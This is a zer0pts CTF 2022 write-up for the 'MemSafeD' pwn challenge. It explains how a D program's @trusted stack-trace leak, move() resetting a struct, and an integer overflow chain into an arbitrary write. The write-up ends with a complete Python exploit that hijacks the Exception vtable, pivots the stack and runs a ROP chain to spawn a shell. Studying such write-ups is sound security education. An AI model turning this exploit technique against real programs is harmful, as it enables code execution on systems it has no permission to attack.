# MemSafeD - zer0pts CTF 2022 ###### tags: `zer0pts CTF 2022` `pwn` Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9 ## Overview x86-64 ELF written in D lang ``` $ checksec chall Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` ## Vulnerabilities The program doesn't have a specific bug which is explotable by itself. There are several mistakes and we can exploit the program by chaining them. ### 1. Address Leak Probably it was easy to spot the first bug (address leak). However, why does it leak the pointer even in the safe mode? D language supports exceptions. It dumps the stack trace whenever an exception is thrown. Printing (aquiring) a pointer is not allowed `@safe` mode. In this program, however, `main` function is set to `@trusted` to allow `setvbuf`. So, the author of this program intended to only allow `setvbuf` but also allowed pointer leak in exception handling in `main`. ``` 1. New 2. Show 3. Rename 4. Edit 5. Delete > 2 Name: X [ERROR] object.Exception@main.d(91): No such polygon: X ---------------- ??:? _Dmain [0x5555555f5e5d] ``` One can avoid this kind of mistake by [**@trusted escapes**](https://dlang.org/blog/2016/09/28/how-to-write-trusted-code-in-d/). ### 2. Integer Overflow and Out-of-Bound Write D language throws exception whenever it tries to read/write at an invalid index of an array. ```c int[] arr = new int[4]; arr[4] = 123; // EXCEPTION! ``` In `-release` mode, just like Rust, it doesn't throw exception and you can access out-of-bound. However, this dangerous behavior is not allowed in `@safe` mode. How can we bypass the check then? [The official blog](https://dlang.org/blog/2016/09/28/how-to-write-trusted-code-in-d/) explains well about `@safe` mode. In the blog mentions this: > Accessing an element in or taking a slice from a dynamic array must be either proven safe by the compiler, or incur a bounds check during runtime. This even happens in release mode, when bounds checks are normally omitted (note: dmd’s option -boundscheck=off will override this, so use with extreme caution). The bounds check is again removed even with `@safe` mode if `-boundscheck=off` is passed to the DMD compiler! [The official manual of DMD](https://dlang.org/dmd-linux.html), however, suggests `-boundscheck=off` for faster execution. > For fastest executables, compile with the -O -release -inline -boundscheck=off switches together. Security vs performance :P However, we cannot use this fact because of the index check hard-coded in the program: ```c this(ulong n) { if (n <= 2) // Dots and lines are not polygon throw new Exception("Invalid number of vertices"); _vertices = new vertex[n]; } ... /* Set the position of a vertex */ void set_vertex(ulong index, vertex v) { if (index > _vertices.length - 1) throw new Exception("Invalid index"); _vertices[index] = v; } ``` `index > _vertices.length - 1` ensures the index is no larger than the length of `_vertices`. One might notice `_vertices.length - 1` can cause integer overflow when `_vertices.length` is 0. However, the constructor ensures `_vertices.length` is always larger than 2. ```c if (n <= 2) // Dots and lines are not polygon throw new Exception("Invalid number of vertices"); ``` We cannot change the length in a straightforward way. The end? ### 3. Null Pointer Dereference The last but the biggest bug exists in `polygon_rename`: ```c Polygon p; move(ps[old_name], p); // Make a copy if (new_name in ps) { // Ask when new name already exists writeln("Do you want to overwrite the existing polygon?"); writeln(new_name, " --> ", ps[new_name]); string answer = read_str("[y/N]: "); if (answer[0] != 'Y' && answer[0] != 'y') return; } // Remove original polygon and move to target ps.remove(old_name); ps[new_name] = p; ``` D language uses Garbage Collector so we don't need to care of the object lifetime. The function `move` is defined in `core.lifetime`. It copies the source object into the target one. So, the code ```c move(ps[old_name], p); ``` usually works as intended. However, [the documentation](https://dlang.org/phobos/core_lifetime.html#.move) mentions the following destructive behavior: > If T is a struct with a destructor or postblit defined, source is reset to its .init value after it is moved into target, otherwise it is left unchanged. The `Polygon` struct defines a destructor. So, `ps[old_name]` is initialized when `move` takes place. What does "initialize" mean? `Polygon` has only one member: ```c vertex[] _vertices; // List of vertex ``` This is an array of `Tuple!(int, int)`. If this member is initialized, the length becomes 0. Also, the pointer of the elements becomes NULL in D language when it's reset. If we return the function without actually renaming the polygon, the ownership of `ps[old_name]` is lost because `p` is available only in this function scope. Nobody has the ownership of the original polygon anymore! Also, the `_vertices` member is initialized so we can cause an integer overflow in `set_vertex`, which can be chained to OOB write!!! ```c /* Set the position of a vertex */ void set_vertex(ulong index, vertex v) { if (index > _vertices.length - 1) // Integer overflow throw new Exception("Invalid index"); _vertices[index] = v; } ``` ## Exploit Eventually we get AAW primitive (because `_vertices` is NULL) with the process base leaked. There can be many ways to exploit these bugs. I overwrote the vtable of `Exception` class, call stack pivot, and run ROP to win: ```python= from ptrlib import * def new(name, vertices): assert len(vertices) > 2 sock.sendlineafter("> ", "1") sock.sendlineafter(": ", name) sock.sendlineafter(": ", str(len(vertices))) for v in vertices: sock.sendlineafter("= ", str(v)) def show(name): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", name) def rename(old_name, new_name, overwrite=None): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", old_name) sock.sendlineafter(": ", new_name) if overwrite == True: sock.sendlineafter("]: ", "y") elif overwrite == False: sock.sendlineafter("]: ", "n") def edit(name, index, vertex): sock.sendlineafter("> ", "4") sock.sendlineafter(": ", name) sock.sendlineafter(": ", str(index)) sock.sendlineafter("= ", str(vertex)) def to_vertex(v): x, y = v & 0xffffffff, v >> 32 x = u32(p32(x), signed=True) y = u32(p32(y), signed=True) return (x, y) elf = ELF("../distfiles/chall") sock = Process("../distfiles/chall") # Leak address show("X") proc_base = int(sock.recvregex("_Dmain \[(0x[0-9a-f]+)\]")[0], 16) - elf.symbol('_Dmain') - 901 logger.info("proc = " + hex(proc_base)) elf.set_base(proc_base) rop_push_rcx_or_praxM75h_cl_pop_rsp_and_al_8h_add_rsp_18h = proc_base + 0x000a459a rop_pop_rdi = proc_base + 0x0011f893 rop_pop_rsi_r15 = proc_base + 0x0011f891 rop_xor_edx_edx = proc_base + 0x000a39d9 rop_pop_rax = proc_base + 0x000aa2cd rop_syscall = proc_base + 0x000d1ab1 # Reset a polygon (dangling ownership) new("evil", [(0,0), (0,0), (0,0)]) new("dummy", [(0xdead,0xcafe), (0x1234,0x2345), (0x1111,0x2222)]) rename("evil", "dummy", overwrite=False) # Overwrite vtable target = elf.symbol("_D9Exception6__vtblZ") + 0x40 value = rop_push_rcx_or_praxM75h_cl_pop_rsp_and_al_8h_add_rsp_18h edit("evil", target // 8, to_vertex(value)) # Prepare ROP chain chain = { 0x10: u64(b'/bin/sh\0'), 0x18: rop_pop_rdi, 0x20: elf.symbol("_D9Exception6__vtblZ") + 0x10, # /bin/sh 0x28: rop_xor_edx_edx, 0x30: rop_pop_rsi_r15, 0x38: 0, 0x48: rop_pop_rax, 0x50: 59, 0x58: rop_syscall } for offset in chain: logger.info("Writing @" + hex(offset)) target = elf.symbol("_D9Exception6__vtblZ") + offset edit("evil", target // 8, to_vertex(chain[offset])) # Exception vtable hijack show("X") sock.interactive() ```